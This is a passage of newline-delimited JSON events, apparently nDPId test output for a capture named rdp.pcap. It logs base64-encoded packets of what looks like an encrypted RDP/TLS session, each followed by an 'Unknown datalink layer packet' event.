+02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":999,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75848,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhfEAAfwYjW8CoAo6sEAK5DT3NDkedQhz5vRFKUBD2zkTjAAAXAwMGbwAAAAAAAAE\/rLtBhOXXgKbjK8G6Xw\/cc36rB6ZW6CpO6eLn8XGRBnjR9ZoDodWkc\/fSc9PgqGt+l7Q+c+Xy8YsaEOmuv86QhPiVzSNCypMsy9ZFNphMmQCmTGiNLcNaFurVuV6OBn6s1L+OEIqy\/5vwB7a1q6oVWd4uIP4JF8WIyIvpJtzwsV1e5Pz1eEuy+BoA4msg8ENaOq\/p2ymjKhqqM5sxSKGQbCt\/rvh8XpyHoddw2gjV5ztGuXLhxAgRq6K56Ei91kFiquZcttYl3U8a06Y41YG8rmzT+7hCq\/6omZjcwYfJZmbjukaAUdFH0tl9nV1zF7x+Kl2ZZAxd4mn9iziwOPI6lAHUun9AQZp3R61fkWvEYJ1I0IEcxKA7V03ETiSiGK+3xEL8nnj1WLINhYH8DjC1sNjxBs9qEeGGh9JAOfHuovKr3h7Z4P2iDDFpgjPTfuXXP7BGOsjDBFAPl8e6icaA+mJuIXygKFDAUqxERe5fJ8sbsEgf9IvRMz44NQYKmlcjsomACy\/SLC2XigpAoiTJ\/kaST4gkrDJ9qVrpqGZTXxdHctJiK2vQ+CrwZqxjWW5rPZ53f\/GLFav+j1lmvzqMTLyvRGa8qCL8XYNRszjbiX8b6SWfrNJ\/dDUrsqxnFGDyBpRAYeUFA1gkWrFGhmr+6WJsqF2obSXbZnsWy1OZrkU1J+4SVWEY49RKq0jE4\/1F9jsMeS2BoNfDlq4HQgCdj+mO1WatAow5wNMxy0SU9HREgOzctbbeHSaw0s9j9m91HhYrneIV99RDMbCpJEX8pQ1t7AG7j1CFBh3DRmNMHD\/UIwFItGvWAt5HrknyvWI9q6UWp8rzxQS7pxuN0ofFIrn9j0FbZYb\/I0hyzotJUA24VCr5xWSH+0u5fwMdIJFxCJQR6yR7p7U4FQpF6e403oDBcFSiR8GXrTJEkjnglD6hycDkilbluIXcw+hv5Auk6kB\/gZDCpZi3qObyKQWlngKDyXdtb\/LyXyI1D7LLOW2NBkoTSK7i+4Mc0eP6Ti4nWRRQQlxeGlgq0pr1GpeczwynDsVMKdN4kCnrsI+RAYIcRf\/zVCmgFLGj+SfNY9EAzHx6HpfUiolK5qSx4ajzz6k+ZTlt1EGJnxsvON\/dEFEFHuCjVs+k+7oWntJs\/HV+gxgPukBuq8Vkfac\/TapSN8Y9mOND0uLKnX\/BZ8c1TQennu3z9ulpKQ7kCW\/11DLRyrVjBoya46wpPOmJC2X2ibUOaN4WFwGBokEbXamzSbfB6QSIhEga1EsKj6TfEFIWlKxom7S2wuhmfsdOgly7sz\/6IkGOKrPA56843Pd4fE9Ps7rsnRVBp+enyx7NuWLgxO99ds66ja9uqPfqHQSltWS2409uK3QPvi7JT3tV+DmMYqWPJmRYX67+SvrWMs7pKwZH2f65RhPNBqFCRT3OdnGvKniR2JppU6z6HQaj83h6iORoiw8MsY7aV3VqZLz0Tg4MJTD+6uon70VGwM+RpMDnZ1UpiLYjlT5XnrpR4OlOPSugYyVt+eeK0ShH9HrP1FPXBh8tnJGKZAakzugVgQSFqfBQPmMRwaFy5nxsyFltAR7PrAX49j1OfvsP9pBm7k6vCnBR6k1N1mE65WYWS7ciesXMYLPWW7Cu4E88Ou2PM25DXPgeir5X8JJq2mXbXKzqclBlHoQauMrd"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":999,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1000,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75888,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhfUAAfwYm2MCoAo6sEAK5DT3NDkedRxX5vRFKUBj2zuGoAADovstoOXc0xm7CBXEKIwoEsMUUkcclQ1yBbs4I6ZLQcwgt\/E4vrVAusCeLTuGMJg0k0Q+f9j8xBRj\/ytx56MYc9B9Th6wKlZOEuHPP0nZkgLox28cnrGBNAtI\/ZUbKFEYd0MLXIY3t6WxUoD6DyKVfva1362L0kEd5CZwArRad1AQtHr37JQKRGXyl0Ugp+mNKe+x+Z+6XCMpRMoRDc8EB9VIPGnVwxUFG2iiYFXnynlp\/Zrdeg8QKsAABxgXzhDISfTlMd\/cC6HFd0URYayq7ZJpALf0+GIrvlWJxp2kGnjTaNGIYYBTQi4X13V9enEy6X1menBBNwot2\/Ks2j7XEp9PlCdv\/jxv5\/IrSvNCxljity46Tb\/nHXbxBNv2ZkI0NYBuLmlXGidEPe+hIwvKi4H2x0+dZoVkvEe7WnLCEBK6YJKdgzpj4yuW94QLi50EtGkyDqhrL6+cYbFPQZSbVWZjDOopqS+rh\/HWgv0dUP5E9xqHBwk6VFuqY"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1000,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1001,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75923,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EqhHnUiQUBAf9KcBAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1001,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02082{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1002,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76096,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhfkAAfwYjWcCoAo6sEAK5DT3NDkedSJD5vRFKUBD2zsdLAAAXAwMGbwAAAAAAAAFABHNIkBmsC5+RanhvQPwGl5pMmzQcnCKldRD0JkQgGRIo2N5dQYiHY2dVV1ZcTcZCg7GicsT4Qdo4Lo8gPYUgxRHVbUb0CwW\/T2s4kMpQZ58tMDkKAMXIrmcrAIiphHNY96G0JiufvV7DP1DlwbBA+JC+1T2\/Df3jBaWbD4eJckXFR4gcHx4VsdUmWyeJQvHkl\/pxv288HkKn\/GehLD037INaoaWlognHrOse5xObAd\/BQGzOzG12bjWMX9WMt1L\/ZbMiZTRxNcsYW5zgp7VqUi7\/FLhkBtEm1dTJgmCCPTuQCZ39C\/zxraz+gAnDGsxqG3ZRqe1bkazuDhKmwftxdw1Fi1RFfZ1L2WH45EjVL0JHErTpjHjR4XI5ndFDRxQLIkz6wyWZ+gCr+2MLHqJvXue7OEISzE5JvmmCLeZCoLg5BSiUUIjA13\/lfI7gJZaAw16VnVGEm\/i0Mhyy793agWIkS9xG4loNVDF69Ay1jVAqvdkfl7+Fhm7Spd19dlED9+duoYf6eMdqGxXLqn\/rcxlkCADd1MTAkOH29SLwpHCgBxEr2WixZ2aey5Fg43jaQ\/mriiCN2pOq7PNanopA3lZ3YtlH1MjGWPXNDYOUvnAsCqBK0qo8dbST87sWgrDWz8c2kP8ceq7grwKQGbG4szFl0D5\/gSUU\/r99R+JK8SrHS3u+KLsWA0E\/Y+BxlCzOaaWWssA2dybmBpqwEg4XZHSUAAr2rDKfrIW3pmYEmOzOu7exblB\/tYXHNlRR\/l+nPssAaHSZy5tgaDezM8krRly5b6IgsDwV3HWFwQBGShoRAdijuhOvUxhSAnyeJDUp7zSzXKfyTzRg9IMI6zQayvEcU2AnrSVOH3sn4TR9SGjijAwknn\/F5wh0roGeu5iSeOdGdUILan2dCp8FjbPV4kjAp51MQGW2w\/LYF890hyarkW5ZJ+8nlNSNMbRapVSQOf9z8uijqUcVPBT1DDPmJe7SFCmAJwnKUjrbBRFxDUGKACiCDI0Jb+tU6UBP1lKI6EAODWXy03cWK\/IIlY5zmVMs+muAmFFvcTJdrmHonnKbKumOj36Tw1yPOjyrjwvnPecmyIz4mDC50ZBJmU\/xxQ3xcfexzJpc6R1GKHdsePLiOoOxq39K6204\/b9TDUOlf1gJc6MO0YpEGCWYOWfTSlfXDa8CLoO3JlaRMax\/jjdV8pzahDYdskIWWTUvek5a14f6kQrRPKhM3lndDq7mHDkFNRNIQ84krAnJNpWEkP24vd2PKhRGQho0P1oc\/TIhZjDZHGAE4hxbrgUCSH9gmOxSOiaAd4P++oxPBBuHFRkcz0R90OiuFwT3UYL1lSV3KIiKQXCq3vwWADAyX3RxcMcMKbJNNCjF6\/17K5x3Kf9FgViOucP0AcclvazMxSAQ+\/XRAP\/O5kP9jnSjQ\/JUfbjY4Wz9E\/lD7KV3ztRS+y7LXrsocTIzCFldVHp1cCFalVSVDXjQiFZ2jchQOoDwfFYjarFBf0IJAPnVmRbg1bFAylv0dgyhIlUqKXlWP7XWUU5q6dPv3w+fRUIJWQNIpPOkZqYoy2+WZ2wpqxoXoAqCliHQKp++6n8L9qOu+G7UUwaGAVNr\/Xh9SDgdNLUjBsjS5kt\/gILCwYOmROeqg8Q5TT4vrn\/xgVdOHRKcpgy0qfVdj5XzRmF5NWq0"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1002,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1003,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76137,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhf0AAfwYm1sCoAo6sEAK5DT3NDkedTYn5vRFKUBj2znLxAADhMv4PxvhAH9IT\/QaF56Bh\/hQJupVaTku0IPK5R4sLZzSQLuCODN7hSjQECqcqo2BVHQ6y2ENL+a2HSQl5+aUGEaMulKSI+ckAXLIeuILM+cdrYlkoNlmm5yO1X1eyOVtZau1iTVyQKMgezurj8tlEIpeUnkmyvS9LpV0Bphdo6ATqoG45EB9LeJk3bKz3qduzI\/ob6UoFKGyb7SQfHXEelDvaXGE0VVD42QhsJeFL43jjKH8MPfhl3QcRPiJXXM7PmOLvqG9vfnJUUHL7gx8qGffeqtH0eryZ08bngoEnho6yN+1sfGmkX\/slZimw4ghuSQCtCZPzk66gYaDh+rx5WcvvwurXptHw2qP7hIW++7WzJjUU5iC0ya7p5qPrXWBFw9zlgtn7I3adQkFieImzfqW80L1XHfT+iaAENe9LlP8mrYenIh6EBhTicyShkrk7O90O4Lh8zNVHGFOBlA\/Ts1seXG4I7RQ9td+Ozyx40AXwRJK2Wt\/kyGkD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1003,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1004,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76172,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EqhHnU8EUBAf9KCNAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1004,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1005,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76276,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hgEAAfwYoG8CoAo6sEAK5DT3NDkedTwT5vRFKUBj2zih7AAAXAwMAMAAAAAAAAAFBMujxAJyWjpa3fL4KSBB1IFl020fjXB9OrWXs7Fn2GCUsUIXikuhJWA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1005,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1006,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76314,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EqhHnU85UBAf\/qBOAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1006,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1007,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76413,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhgUAAfwYjVsCoAo6sEAK5DT3NDkedTzn5vRFKUBD2zkBxAAAXAwMGbwAAAAAAAAFCNCaPczBlz1XeHTwkX8L5F9V+l1kRnwiRQmSMNeAQSqia4FshK0Hjmoshd9h30Spa18RcXaUpvKV7\/hyU5KWgEVK917ufPCeOs2VWRjV\/V42kpYifdT65HSOckETS7R6P5K6XPjskLYiPp4Nnjy5Zv8Oo62lS1lSndotAyMoxHaKb2rfivzq3CWW0qxXFKdfHtkPDP2zao3T60KRv7XYPKOrbOEgykw1yJtY3B4fJKQ2Wpg9d\/TEzHU0x0Z9sWUzFDpLdcUvoaVMVCvGl0C7dDeMA7kxwky4JdlWgHc88YSQuCHtmIHdlDVJ3M5T8STj9TOEsfUpLZheFs28eJHIIVc\/0bDYAs8mBIemUZqH4Kne1HsxBnHdVtyekNkjoNI9QQYDZjfHWgLKP\/5BM2ZAm\/FH7ezIOAM6Ttq6Cd9DX5A88CFdYUlQMTCKqYlI3yNzUh2\/I90YIeTwL4HaHETRUnlYdVsyuyJU4zRN\/MU4Zr7nZY6MwRtJ9eJmsVTpk1eEHjoUpfN+RlUvmE9V2sWuvKIFpLPB69zHlg+qNztORdw0738wuaSgsE2r36a+KrIH8XstRw0HCqLFPaBbWJQ8l2rr\/CCww08Ux8krBkACSehZaLEvbFbh+iWST5wy+KsvCuJCerx\/KUdRMap5VTtB2GotuQzGN0pAizO\/4gof\/j5PpbuysYDwEf2SyWpPEJnpkzRG01ERK9Ho\/SbfFeJ5s\/SV5Dc41MdqRmmBZupxJWD+yt6ek9mQhrsJB\/FuJtDBUuAKiwldcaM3jfvq9P9elo1\/PMTO6iJgG7a3APOd89q2WCUjccXuvl7sr6\/XtZ4P\/2qVvzjbP8m3TnB8IHSl\/HIVB0bKPlZdDY+yRzabcZDUUH98QqgbDAjDjYbprpU4cVee+jGEqGeswaEogWKhOk8T9vzcBZYFYxcJB+kp04288FnA\/61orXjwkD2vav78Vf6KVRHDZvIVeQc9U9UdH5IlEXwTDIEGCPyrSoueTcoTsC\/yoyySjmPR0qVVjbmfTJu\/o8e2HDBSKqgXOaE60B\/+\/C\/4xoMaKnzYPBhAW2iqJq8J1tcOUUcmY0ZPdYF19ke+FdsRFqrg9IoSWrLNXg99hyIowuG\/wdH9+FqPUM7c6DjPu+Q2958hycOpb02uPEnTvcnpcIC97iRJK0FYgjttkuONJb8Lk0he8TmO0W80Z+9IYWxJegCLwIzaV8qzFxI7+tP6FM41v6PfBDmN0qkhfdKpjzo4P0EmA7dzjP30M3LRwTMz\/rFXsZFfrjEMLJcEdBmCtAZhPHVFjilpSLhVotweD25bRHWO1Z2pITt2vveYMX7qthll2p+Rkx+t38Xff3UHIW39h21FnDYbWKkoNTPVnydTdL6iS4slMqgVo5WZ6a01I2d4m27\/7RGhFS24uPw+N77i1V6ZxlsqUIrKGq0pMI761gJnfG+voj\/Daqm0nWvhLAizXnkFKzaiO2O6WFzL2GyXpqR24rHq+W7URRqvZcb0iq2Yc55oAQraSbsqvl2T+lWrnco3CAMaamgKegCk9ptuTenTu2XYa7ihYgYp4qwSWZ7Cha8UNgGEKNEn3k\/nZexLhSFi4kyi9j2lmV3iRvwQh6MR4sd05GiferS2Ju4121fF1dNPytbjwAaxFgyRQn4uH9AKEwon3LMc4yBG4exubcyxV"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1007,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1008,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76467,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhgkAAfwYm08CoAo6sEAK5DT3NDkedVDL5vRFKUBj2zpB9AABAj1+hgD4SYs3DztycLLytkjhXTDvoXwvcvgux\/ykR+EEZoJ9waN3++\/O\/1UpDdEv9BvXYh9cZJSieEdLeLhbQPhwt5ddKtbbtlhOvT2cGiVBQC1zpj7NM++zmwSRzkwMnvL6CildBUiUA2\/DPaN1jlVQsYG6F6sBSUzGAueTlxWh7A4ku5B0lyJqM9b+GfOqfHJHCiRQs+63R8xcBX7y7m0zgiM6DomMsYSbo83tI3+wny4AsDOnKmPJLVrbsXwK9xE1+NYE4B3054Hvch8sl7CtME2ehiPtHaBV6\/ggafmR59u8H\/Cncb+3nH8SmcBuO6i8uIHpa+EvusyA5NxBQLP8oKfiCiE8NSdIoAI42urNZ1prdRlXkYfaPvr2yptzRux+TPBmpr0pFuDHbrZfziwuTOYpwCBLa++PTNHhpbAcTQ2nDi4o4wIEv4qJxA\/AimzMCVLou61ae72eO7q0vqIfoWuTNSj3oIKkBxrshODo+iQyVCxJz6\/ue"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1008,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1009,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76505,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EqhHnVWtUBAf9JnkAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1009,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1010,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76664,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hg0AAfwYoGMCoAo6sEAK5DT3NDkedVa35vRFKUBj2zj5rAAAXAwMAMAAAAAAAAAFDQeo84mLyAgPUFC2wGAzbNfqNdNicVyq\/r79JQXfk5IU0cdJIgtbMtg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1010,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1011,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76696,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9EqhHnVWtUBggAHErAAAXAwMAMOAIO32NJwv2zBmmFaRESPrDzcjnq0pnCl5OS81JV\/05oS\/l0n4QXxnLaaoNG67Twg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1011,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1012,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76801,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hhEAAfwYoF8CoAo6sEAK5DT3NDkedVeL5vRFKUBj2zjeXAAAXAwMAMAAAAAAAAAFEO1iyFLAtFNAi65YKOhOywtETM\/OpRtp8o83TdsZlY+wkeaTQmcR0WA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1012,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1013,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76824,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Et1HnVXiUBAf\/plwAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1013,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1014,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":76947,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Et1HnVYXUBAf\/pk7AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1014,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1015,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77056,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhhUAAfwYjUsCoAo6sEAK5DT3NDkedVhf5vRFKUBD2zqynAAAXAwMGbwAAAAAAAAFF40P1g+DlMRvaShwI6nrzkYQHPOREYgD\/fTYvxeG1uqlH2wTnae0QjM9z5\/u+gnTi3uJUgHafOIEBUPOu\/YU1Fvu826+aZg0ymkl3osPUcEhptXlPvC+fLvMHF4sVLw9FI+79g2mksebtp8QW1uxBiPqwoVqfQrOHwSExw\/Ugwl2jluuTVYp9ovBDGpH+PTVvCOOKBFaqBVlFVjvW7JueFtY\/BZ2V6LJVY\/6uw7rMNGxXIQ9R0fbliB+8tEqzwpJX8KYHqlwGUOu1xx1PGcjDoNztGPsoDG0Lc1gAFui5R5blz2US\/OPx9kbQZtubR5kT2wvoD\/OaxRr0RAReZsAt6JUi746uRT037X1fn+LgelU5q\/LYvD3qq+ipG\/ct4uHR\/3TsenHMI99kH9Bi6YVBijUAxZ864EyCAkKYiWIzWntjdz6vSFpOKkFZIy7c0tTRLslG3B0EPH8BlPTJ63Ua5wCDIo8Vl35clIusJ2uE\/qteDJM2rKhfbaPpfBPzSWs6cisA5oYpJNovop8uwQrcO\/8EPr0F73tHrmil6mRTtD45LR7e6ZuuUd4vCOW+aoeMfEs3f2RYj7cPuZNCh24U2u2u++4ocCj4KGfoc6DQskZRmV2MuIBJ4QD4bYlzEeHYmqcqQ6npwZsC7zztskspeAAS9P6MzDAg+VazgYXs5eDfgAHkP1fah1CWafxJOvnUXKCHxtNwZWtMBZa3oezdfrWC8ztRHzwM1B\/6cXb\/ZJJRbanA6bp4FebTwBmyKDs+hyiPPpXpdNK8tR93mJtYAsjeasNNp7IaHl8yz9kj9hUdMLIp\/MUKinatpI7Onz\/XVub+RCoaXLim3qiv1BLkZuxgK9gPuk7K9m4A+7l4pCOQn7UqfryRydSaJJnnqvUzxSS7Rh9ZxX3XmDTEtKqGiuTKoRzHYZvhcfOBR920lhAmQmpQIQU5fAMl4egQTAAgqD9Hh04JjSAnZgUmEAcmT8rqKbLQrzzs3rJxhaK\/detzCZgs+p6V\/r+h\/eHihvFUASbbS8ikzZo+kYZfYtc\/EI9SHG5n7h3fOLkTSB4Gc3opkADp3gzS1NBwUU4PyWrv05K8YWHln\/fuNSDpi+MqadXut1b8uc7cAScnJivxwgD12YU9QM8j36+PydDmVKDJfdsGR43EeihfofWwrG6eFeVPftuM0wPDTdBeI7iuefo34Cuau4GnTQetyaZmVlzze4r0LOqZwDZ8IMsjFgtsDB6OaCi1NcO4\/HF6zhTutXlADW5nif3vS5pfKwty3Fh4Vzpv4IveLoOInq+i2jGTL\/HDOc6uYvp9cOoFdzAtdSNOOVtXCvfLEuT7GpRu3MWeLNL1LCBeCekXEeWjWLM6cObb0VHYFcRH1z8Awc\/cNCcF7FQBnsS6r67xKXHdL5IhxWtNM1ZsI0CX7pA3HkutAaaarE+ef0dhEd9alUYwW8nPcuVaSDXliFONKX8i84LLOOcW4\/MuPnkeBRekZUyZVfbX7mp+dp9qkptzSh7HdxeZS2sH6oh5msQwVpelr\/A8lyzGT5auHmYU2gRtXNAkds3clawi31pBcS94j6S6H7TAB9aVHWDdpKA0oIfzwd8QUR9mZm\/0ZfL3Hw\/vc4jM7avLgaTr+lmseUfg\/fhoqhUtxbvTSeeMmlbitOA95wv1Qt6gsOHOed6V3A7P"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1015,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1016,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77085,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhhkAAfwYmz8CoAo6sEAK5DT3NDkedWxD5vRFKUBj2zl0BAAARQdupdsnO99QmKVkiOIyHEpLxs8p6Dvjkpb6zmU0vBdQDX5Fu6i1ev4um7DvylmnaeExEmemRjin1ZAiT9DGVON\/Su0nFVJ04DtQDphK9Qpu69+nPICnlkDA4EulSj6lwZ2gvmi559Vpzy6Ern1TEMVFA68RLm2Qpo+v\/RkvRmHKUcMtnnkpZJ1c6wvVXGBcICazL\/s5UMePZOX3rzUpgm0IJC7NvKnOUQtpyGn\/0Hbyws0kF39PSwbWbsl7PINzwOCoB3ISvMcL\/nPiRlAS7IqGx18KEna+TIRTsbgP9Z+5py2\/gSKiC0idEZNnmgG4eaTI+FzRJ6o1PSIpTafoemzrM2H+k1EJv8h9qZJDnmwXPSbrbbjrBLnnKY7WVJU7iPbX36RHKNqtIaHU6Hk0NRNaVbb7K93od9shTgWtKMfduzmMg5J5oQ9XwjQzOFpmOoFaQYfWtLVYm\/lHOmh8Y9yFuoTMSj4duKNgloQs5sY8azBlqKDl238Pn"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1016,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1017,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77110,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9Et1HnVYXUBggAFL6AAAXAwMAOOAIO32NJwv3FH\/VVI+VAzQdpWhfdVHo4N6Dn5HJHCmmbQ8nzUHHXhnqWvFFAXDnmvzy\/oEv9UvP"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 